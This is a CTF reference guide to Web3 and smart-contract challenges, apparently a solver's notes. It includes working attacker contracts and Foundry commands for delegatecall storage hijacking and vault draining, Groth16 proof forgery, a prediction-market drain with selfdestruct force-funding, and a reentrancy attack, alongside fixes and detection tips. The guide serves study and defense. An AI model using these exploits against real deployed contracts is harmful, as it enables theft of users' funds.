CTF Web - Web3 / Blockchain Challenges
Table of Contents
- Challenge Infrastructure Pattern
- EIP-1967 Proxy Pattern Exploitation
- ABI Coder v1 vs v2 - Dirty Address Bypass
- Solidity CBOR Metadata Stripping for Codehash Bypass
- Non-Standard ABI Calldata Encoding
- Solidity bytes32 String Encoding
- Complete Exploit Flow (House of Illusions)
- Delegatecall Storage Context Abuse (EHAX 2026)
- Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)
- Phantom Market Unresolve + Force-Funding (DiceCTF 2026)
- Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)
- Reentrancy Attack - DAO Pattern (DefCamp 2017)
- Web3 CTF Tips
Challenge Infrastructure Pattern
- Auth: GET
/api/auth/nonce→ sign withpersonal_sign→ POST/api/auth/login - Instance creation: Call
factory.createInstance()on-chain (requires testnet ETH) - Exploit: Interact with deployed instance contracts
- Check: GET
/api/challenges/check-solution→ returns flag ifisSolved()is true
Auth Implementation (Python)
from eth_account import Account
from eth_account.messages import encode_defunct
import requests
acct = Account.from_key(PRIVATE_KEY)
s = requests.Session()
nonce = s.get(f'{BASE}/api/auth/nonce').json()['nonce']
msg = encode_defunct(text=nonce)
sig = acct.sign_message(msg)
r = s.post(f'{BASE}/api/auth/login', json={
'signedNonce': '0x' + sig.signature.hex(),
'nonce': nonce,
'account': acct.address.lower() # Challenge-specific: this server expected lowercase
})
s.cookies.set('token', r.json()['token'])Key notes:
- Some CTF servers expect lowercase addresses (not EIP-55 checksummed) — check the frontend JS to confirm. This is NOT universal; other challenges may require checksummed format
- Bundle.js contains chain ID, contract addresses, and auth flow details
- Use
cast(Foundry) for on-chain interactions:cast call,cast send,cast storage
EIP-1967 Proxy Pattern Exploitation
Storage slots:
Implementation: keccak256("eip1967.proxy.implementation") - 1
Admin: keccak256("eip1967.proxy.admin") - 1cast storage $PROXY 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc # impl
cast storage $PROXY 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 # adminKey insight: Proxy delegates calls to implementation, but storage lives on the proxy. address(this) in delegatecall = proxy address.
ABI Coder v1 vs v2 - Dirty Address Bypass
Solidity 0.8.x defaults to ABI coder v2, which validates address parameters have zero upper 12 bytes. With pragma abicoder v1, no validation.
Pattern (House of Illusions):
- Contract requires dirty address bytes but uses
addresstype - ABI coder v2 rejects with empty revert data (
"0x") - Deploy with
pragma abicoder v1→ different bytecode, no validation - Swap implementation via proxy's upgrade function
Detection: Call reverts with empty data ("0x") = ABI coder v2 validation.
Solidity CBOR Metadata Stripping for Codehash Bypass
Proxy checks keccak256(strippedCode) == ALLOWED_CODEHASH where metadata is stripped.
code = bytes.fromhex(bytecode[2:])
meta_len = int.from_bytes(code[-2:], 'big')
stripped = code[:len(code) - meta_len - 2]
codehash = keccak256(stripped)Non-Standard ABI Calldata Encoding
Overlapping calldata: When contract enforces msg.data.length == 100 but has (address, bytes) params:
Standard: 4 + 32(addr) + 32(offset=0x40) + 32(len) + 32(data) = 132 bytes
Crafted: 4 + 32(dirty_addr) + 32(offset=0x20) + 32(sigil_data) = 100 bytesOffset 0x20 serves dual purpose: offset pointer AND bytes length.
Solidity bytes32 String Encoding
bytes32("0xAnan or Tensai?") stores ASCII left-aligned with zero padding:
0x3078416e616e206f722054656e7361693f000000000000000000000000000000Complete Exploit Flow (House of Illusions)
export PATH="$PATH:/Users/lcf/.foundry/bin"
RPC="https://ethereum-sepolia-rpc.publicnode.com"
forge create src/IllusionHouse.sol:IllusionHouse --private-key $KEY --rpc-url $RPC --broadcast
cast send $PROXY "reframe(address)" $NEW_IMPL --private-key $KEY --rpc-url $RPC
cast send $PROXY $CRAFTED_CALLDATA --private-key $KEY --rpc-url $RPC
cast send $PROXY "appointCurator(address)" $MY_ADDR --private-key $KEY --rpc-url $RPC
cast call $FACTORY "isSolved(address)(bool)" $MY_ADDR --rpc-url $RPCDelegatecall Storage Context Abuse (EHAX 2026)
Pattern (Heist v1): Vault contract with execute() that does delegatecall to a governance contract. setGovernance() has no access control.
Storage layout awareness: delegatecall runs callee code in caller's storage context. If vault has:
- Slot 0:
paused(bool) +fee(uint248) — packed - Slot 1:
admin(address) - Slot 2:
governance(address)
Writing to slot 0/1 in the delegated contract modifies the vault's paused and admin.
Attack chain:
- Deploy attacker contract matching vault's storage layout
setGovernance(attacker_address)— no access controlexecute(abi.encodeWithSignature("attack(address)", player))— delegatecall- Attacker's
attack()writespaused=falseto slot 0,admin=playerto slot 1 withdraw()— now authorized as admin with vault unpaused
contract Attacker {
bool public paused; // slot 0 (match vault layout)
uint248 public fee; // slot 0
address public admin; // slot 1
address public governance; // slot 2
function attack(address _newAdmin) public {
paused = false;
admin = _newAdmin;
}
}# Deploy attacker
forge create Attacker.sol:Attacker --rpc-url $RPC --private-key $KEY
# Hijack governance
cast send $VAULT "setGovernance(address)" $ATTACKER --rpc-url $RPC --private-key $KEY
# Execute delegatecall
CALLDATA=$(cast calldata "attack(address)" $PLAYER)
cast send $VAULT "execute(bytes)" $CALLDATA --rpc-url $RPC --private-key $KEY
# Drain
cast send $VAULT "withdraw()" --rpc-url $RPC --private-key $KEYKey insight: Always check if setGovernance() / setImplementation() / upgrade functions have access control. Unprotected governance setters + delegatecall = full storage control.
Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)
Pattern (Housing Crisis): DAO governance protected by Groth16 ZK proofs. Two ZK-specific vulnerabilities:
Broken trusted setup (delta == gamma): Trivially forge any proof:
from py_ecc.bn128 import G1, G2, multiply, add, neg
# When vk_delta_2 == vk_gamma_2, set:
forged_A = vk_alpha1
forged_B = vk_beta2
forged_C = neg(vk_x) # negate the public input accumulator
# This verifies for ANY public inputsProof replay (unconstrained nullifier): DAO never tracks used proposalNullifierHash values. Extract a valid proof from the setup contract's deployment transaction and replay it for every proposal.
When to check in Web3 challenges:
- Compare
vk_delta_2andvk_gamma_2— if equal, Groth16 is trivially broken - Check if the verifier contract tracks proof nullifiers
- Look for valid proofs in deployment/setup transactions
Phantom Market Unresolve + Force-Funding (DiceCTF 2026)
Pattern (Housing Crisis): Prediction market with DAO governance. Three combined vulnerabilities drain the market.
Vulnerability 1 — Phantom market betting:
bet() checks marketResolution[market] == 0 but NOT whether the market formally exists (no market < nextMarketIndex check). Bet on phantom market IDs (beyond nextMarketIndex).
Vulnerability 2 — State persistence on unresolve:
When createMarket() later reaches the phantom market ID, it writes marketResolution[id] = 0. This effectively "unresolves" the market, but old totalYesBet/totalNoBet values persist, enabling a second cashout.
Vulnerability 3 — Force-fund via selfdestruct:
// EIP-6780: selfdestruct in constructor sends ETH even to contracts without receive()
contract ForceSend {
constructor(address payable target) payable {
selfdestruct(target); // Forces ETH into DAO
}
}
// Deploy: new ForceSend{value: amount}(dao_address)Drain cycle:
- Force-fund DAO with
2*marketBalancewei - Helper1 bets 1 wei NO on phantom market N
- DAO bets
2*marketBalanceYES via delegatecall proposal - Resolve market NO → Helper1 cashouts (net zero for market, but
totalYesBetpersists) createMarket()reaches N → writesmarketResolution[N]=0(unresolve)- Helper2 bets 1 wei NO → resolve NO → Helper2 cashout =
1 + totalYesBet/2 = 1 + marketBalance
Key math: Payout = helperBet + helperBet * totalYesBet / totalNoBet = 1 + 1 * 2*mBal / 2 = 1 + mBal. Market had mBal + 1, pays 1 + mBal → balance = 0.
Gotchas:
- EVM
.callwith insufficient balance silently fails — size DAO bet so payout ≤ market balance - ethers.js BigInt: Use
!== 0nnot!== 0for comparisons - EIP-6780 selfdestruct: Must be in constructor (not runtime) for same-tx contract deletion, but ETH transfer works either way
When to check: Prediction markets / betting contracts — always test: can you bet on non-existent market IDs? Does market creation reset resolution state without clearing bet totals?
Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)
Affected: Solidity 0.8.28 through 0.8.33, IR pipeline only (--via-ir flag). Fixed in 0.8.34.
Root cause: The IR pipeline generates Yul helper functions for delete operations. The helper name is derived from the value type but omits the storage location (persistent vs. transient). When a contract uses delete on both a persistent and transient variable of the same type, both generate identically-named helpers. Whichever compiles first determines the implementation — the other uses the wrong opcode (sstore instead of tstore or vice versa).
Vulnerable pattern:
contract Vulnerable {
address public owner; // persistent, slot 0
mapping(uint256 => address) public m; // persistent
address transient _lock; // transient
function guarded() external {
require(_lock == address(0), "locked");
_lock = msg.sender;
// BUG: delete _lock uses sstore (persistent) instead of tstore
// This writes zero to slot 0, overwriting owner!
delete _lock;
}
}Two exploit directions:
- Transient
deleteusessstore: Overwrites persistent storage (slot 0 = owner/access control variables). Transient variable remains set, breaking reentrancy locks - Persistent
deleteuseststore: Approvals/mappings cannot be revoked. Thetstorewrite is discarded at transaction end
Cross-type collisions via array clearing: Array .pop(), delete [], and shrinking operations clear at slot granularity using uint256 helpers. A bool[] clearing collides with delete uint256 transient _temp.
Detection:
# Compare Yul output — if storage_set_to_zero_ calls change to
# transient_storage_set_to_zero_ in 0.8.34, the contract was affected
solc --via-ir --ir Contract.sol > yul_output.txtWorkaround: Replace delete _lock with _lock = address(0) — direct zero assignment uses the correct opcode path.
Key insight: The bug requires all three conditions: --via-ir compilation, delete on a transient variable, and a matching-type persistent delete in the same compilation unit. No compiler warning is produced, and incorrect storage operations do not revert — they silently corrupt state.
Reentrancy Attack - DAO Pattern (DefCamp 2017)
Pattern: A withdraw() function sends ETH via msg.sender.call.value(amount)() before updating the sender's balance. A malicious contract's fallback function re-calls withdraw() recursively, draining funds before the balance is ever zeroed.
// Vulnerable contract:
contract VulnerableBank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint amount = balances[msg.sender];
require(amount > 0);
// BUG: sends ETH before updating state
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0; // too late — attacker re-entered before this line
}
}// Attacker contract:
contract Attacker {
VulnerableBank public target;
uint public count;
constructor(address _target) {
target = VulnerableBank(_target);
}
function attack() external payable {
target.deposit{value: msg.value}();
target.withdraw();
}
// Fallback: re-enters withdraw() while balance hasn't been zeroed yet
receive() external payable {
if (count < 10 && address(target).balance >= msg.value) {
count++;
target.withdraw(); // re-entrant call
}
}
}# Deploy and trigger via web3.py / Foundry:
# forge create Attacker --constructor-args $VULNERABLE_ADDR --rpc-url $RPC --private-key $KEY
# cast send $ATTACKER "attack()" --value 1ether --rpc-url $RPC --private-key $KEYFix patterns:
// Option 1: Checks-Effects-Interactions (zero balance BEFORE sending)
function withdraw() public {
uint amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0; // effect first
(bool success,) = msg.sender.call{value: amount}("");
require(success);
}
// Option 2: Use transfer() — gas-limited to 2300 (not enough for re-entry)
payable(msg.sender).transfer(amount);
// Option 3: ReentrancyGuard (OpenZeppelin)Key insight: External calls via call.value() before state updates create reentrancy — the attacker's fallback re-enters the vulnerable function before the first call completes. The DAO hack (2016) drained $60M using this exact pattern. Always zero balances or use a mutex before making external calls.
Web3 CTF Tips
- Factory pattern: Instance = per-player contract. Check
playerToInstance(address)mapping. - Proxy fallback: All unrecognized calls go through delegatecall to implementation.
- Upgrade functions: Check if they have access control! Many challenges leave these open.
- address(this) in delegatecall: Always refers to the proxy, not the implementation.
- Storage layout: mappings use
keccak256(abi.encode(key, slot))for storage location. - Empty revert data (
0x): Usually ABI decoder validation failure. - Contract nonce: Starts at 1. Nonce = 1 means no child contracts created.
- Derive child addresses:
keccak256(rlp.encode([parent_address, nonce]))[-20:] - Foundry tools:
cast call(read),cast send(write),cast storage(raw slots),forge create(deploy) - Sepolia faucets: Google Cloud faucet (0.05 ETH), Alchemy, QuickNode